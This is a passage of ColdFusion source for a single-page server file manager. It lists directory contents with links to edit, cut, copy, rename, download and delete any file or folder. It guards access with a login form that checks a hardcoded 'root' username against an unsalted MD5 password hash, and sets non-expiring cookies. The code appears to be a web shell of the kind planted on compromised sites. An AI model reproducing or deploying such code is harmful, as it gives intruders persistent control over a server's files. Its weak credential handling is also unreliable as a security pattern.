615 | <cfelseif #Size# LT 1024*1024*1024*1024> | |
616 | #round(Size/1024/1024/1024)# GB | |
617 | <cfelseif #Size# LT 1024*1024*1024*1024*1024> | |
618 | #round(Size/1024/1024/1024/1024)# TB | |
619 | </cfif> | |
620 | </td> | |
621 | <td> | |
622 | #DateFormat(DateLastModified, "d/m/yy")# #TimeFormat(DateLastModified, "HH:mm:ss")# | |
623 | </td> | |
624 | <td>#Attributes#</td> | |
625 | <td>#Mode#</td> | |
626 | <td> | |
627 | <cfif #Type# is "File"> | |
628 | <a href="?action=edit&scr=#dir##Name#">Edit</a>|<a href="?action=cut&scr=#dir##Name#">Cut</a>|<a href="?action=copy&scr=#dir##Name#">Copy</a>|<a href="?action=rename&scr=#dir##Name#">Rename</a>|<a href="?action=down&scr=#dir##Name#">Download</a>|<a href="?action=del&scr=#dir##Name#" onCLick="return confirm('Delete #Name# ?')">Delete</a> | |
629 | <cfelse> | |
630 | <a href="?action=cutd&scr=#dir##Name#\">Cutdir</a>|<a href="?action=copyd&scr=#dir##Name#\">Copy</a>|<a href="?action=renamed&scr=#dir##Name#\">Rename</a>|<a href="?action=deld&scr=#dir##Name#\" onCLick="return confirm('Delete #Name# ?')">DeleteDir</a> | |
631 | </cfif> | |
632 | </td> | |
633 | </tr> | |
634 | </cfoutput> | |
635 | </table></div> | |
636 | </div> | |
637 | </cfif> | |
638 | <!--- End Main ---> | |
639 | <cfelseif Not IsDefined("cookie.username")> | |
640 | <cfform name="articles" ENCTYPE="multipart/form-data"> | |
641 | <center><table width="300" border="0"> | |
642 | <tr> | |
643 | <td width="50">Username:</td> | |
644 | <td width="50"><input type="text" name="username"></td> | |
645 | </tr> | |
646 | <tr> | |
647 | <td width="50">Password:</td> | |
648 | <td width="50"><input type="password" name="password"></td> | |
649 | </tr> | |
650 | <tr> | |
651 | <td width="50">Remember you?:</td> | |
652 | <td width="50"> | |
653 | <input type="checkbox" name="RememberMe" value="Yes" checked> | |
654 | <input type="submit" name="Process" value="Login"> | |
655 | </td> | |
656 | </tr> | |
657 | </table></center> | |
658 | </cfform> | |
659 | <cfif IsDefined("username")> | |
660 | <cfset member_username = "root"> | |
661 | <cfset member_password = "75d06b0f0b434726ec9754fe5d31c8a3"> | |
662 | <cfif #username# neq #member_username#> | |
663 | <center>Wrong username!</center> | |
664 | <cfset structclear(cookie)> | |
665 | <cfelseif hash(form.password, "MD5") neq #member_password#> | |
666 | <center>Wrong password!</center> | |
667 | <cfset structclear(cookie)> | |
668 | <cfelse> | |
669 | <cfif IsDefined("RememberMe")> | |
670 | <cfset member_password1 = hash(form.password, "MD5")> | |
671 | <cfcookie name="username" value="#form.username#" expires="NEVER"> | |
672 | <cfcookie name="password" value="#member_password1#" expires="NEVER"> | |
673 | <cfelse> | |
674 | <cfset member_password1 = hash(form.password, "MD5")> | |
675 | <cfcookie name="username" value="#form.username#"> | |
676 | <cfcookie name="password" value="#member_password1#"> | |
677 | </cfif> | |
678 | <cflocation url="?" addtoken="No"> | |
679 | </cfif> | |
680 | </cfif> | |
681 | </cfif> | |
682 | <!--- End Login ---> | |
683 | <hr> | |
684 | </body> | |
685 | </html> |